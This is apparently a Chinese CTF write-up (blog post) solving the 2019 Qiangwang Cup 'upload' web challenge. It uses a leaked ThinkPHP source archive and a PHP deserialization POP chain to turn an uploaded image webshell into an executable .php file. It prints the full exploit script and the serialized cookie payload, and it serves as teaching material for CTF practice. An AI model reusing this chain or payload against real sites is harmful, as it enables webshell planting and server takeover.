2019强网杯upload

最新推荐文章于 2023-11-12 23:00:01 发布

Hu'Ting

最新推荐文章于 2023-11-12 23:00:01 发布

阅读量598

点赞数

分类专栏： WEB 文章标签： php

本文链接：https://blog.csdn.net/m0_61448651/article/details/125909867

版权

WEB 专栏收录该内容

9 篇文章 0 订阅

订阅专栏

2019强网杯upload

写在前面的话：这题，搁着叠buff呢？

文件上传+反序列化

打开页面是熟悉的注册登录页面

注册再登录进去，给了个文件上传的口，上传个图片马，查看路径

在这里插入图片描述

一般这种都会有个源码泄露，有时候和SQL挂钩，有时候是反序列化

dirsearch扫目录

kali的dirsearch安装在另一篇笔记里有详细说明，这里就不再赘述。

在dirsearch目录下打开终端输入

python3 dirsearch -u URL -e* -t 20 -x 301,403,429,404,500,501
说明：
-e*  扫描网站所有脚本类型
-t 20 设置扫描的线程是20
-x 301,403,429,404,500,501 排除指定的网站状态码，用逗号隔开
一般有后台源码泄露的状态码是200

在根目录下扫出了www.tar.gz

下载（文件还挺大）

在这里插入图片描述

thinkphp框架

用vscode打开，tp5下，还存在.idea目录

.idea存放项目的配置信息，包括历史记录，版本控制信息等的一个目录

发现是thinkphp框架，一般核心文件在

application->web->controller

这里有四个php文件

在这里插入图片描述

反序列化

这里看到user的cookie进行了一个反序列化的操作。

首先访问大部分页面都会调用login_check的方法，先将传入的用户 Profile 反序列化，而后到数据库中检查相关信息是否一致。

在这里插入图片描述

Profile.php里有 _call 和 _get 两个魔术方法，分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get 会直接从 except 里找，_call 会调用自身的 name 成员变量所指代的变量所指代的方法。

这两个魔术方法可以利用。

在这里插入图片描述

我是直接上传的png图片没有什么影响，如果上传其他类型的图片马会进行处理，强行把后缀名改成png。

在这里插入图片描述

我们的思路是，利用filename_tmp和filename把图片马解析为php文件，怎么才能解析呢，cookie不是可以反序列化嘛，可以把构造完的exp序列化编码后的传入cookie，再访问png文件就可以变成php文件了，再用蚁剑连。具体怎么构造呢，可以进入下面的逻辑，里面既有filename、filename_tmp，还能利用img

在这里插入图片描述

但是需要绕过上面两个判断，只要不赋值，不上传变量就行。

在这里插入图片描述

利用_get _call：except里['index'=>'img']（数组）实现一调用index变量就转到img变量，要利用img所在的逻辑只要ext存在就行，因为下面会调用update_img()，所以让img变量等于upload_img()函数，触发_call，正好是这三个逻辑所在的函数，成功顺理成章地调用了。

在这里插入图片描述

那如何调用index变量，让registed=false也就是registed不存在就可以进入析构函数所在的逻辑。

在这里插入图片描述

到这里基本就可以构造exp了

exp构造

注意在thinkphp框架里，要规定命名空间，不然不知道实例化的哪个类

<?php
namespace app\web\controller;//规定命名空间

class Profile{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __get($name)
    {
        return $this->except[$name];//excep规定传入的变量是数组
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }
}

class Register{
    public $checker;
    public $registed;

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

}
$profile=new Profile();
$profile->except=array('index'=>'img');//['index'=>'img']也能表示数组
$profile->img='upload_img';
$profile->filename_tmp='../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.png';
$profile->filename='../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.php';
$profile->ext=true;

$register=new Register();
$register->registed=false;
$register->checker=$profile;
$register->checker->checker=0;//调用pop链防止退出程序

echo urlencode(base64_encode(serialize($register)));

运行结果

TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzk6Ii4uL3VwbG9hZC9jNDdiMjFmY2Y4ZjBiYzhiMzkyMDU0MWFiZDgwMjRmZC80YTQ3YTBkYjZlNjA4NTNkZWRmY2ZkZjA4YTVjYTI0OS5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzk6Ii4uL3VwbG9hZC9jNDdiMjFmY2Y4ZjBiYzhiMzkyMDU0MWFiZDgwMjRmZC80YTQ3YTBkYjZlNjA4NTNkZWRmY2ZkZjA4YTVjYTI0OS5waHAiO3M6MTE6InVwbG9hZF9tZW51IjtOO3M6MzoiZXh0IjtiOjE7czozOiJpbWciO3M6MTA6InVwbG9hZF9pbWciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MzoiaW1nIjt9fXM6ODoicmVnaXN0ZWQiO2I6MDt9

base64解码看看

O:27:"app\web\controller\Register":2:{s:7:"checker";O:26:"app\web\controller\Profile":7:{s:7:"checker";i:0;s:12:"filename_tmp";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.png";s:8:"filename";s:79:"../upload/c47b21fcf8f0bc8b3920541abd8024fd/4a47a0db6e60853dedfcfdf08a5ca249.php";s:11:"upload_menu";N;s:3:"ext";b:1;s:3:"img";s:10:"upload_img";s:6:"except";a:1:{s:5:"index";s:3:"img";}}s:8:"registed";b:0;}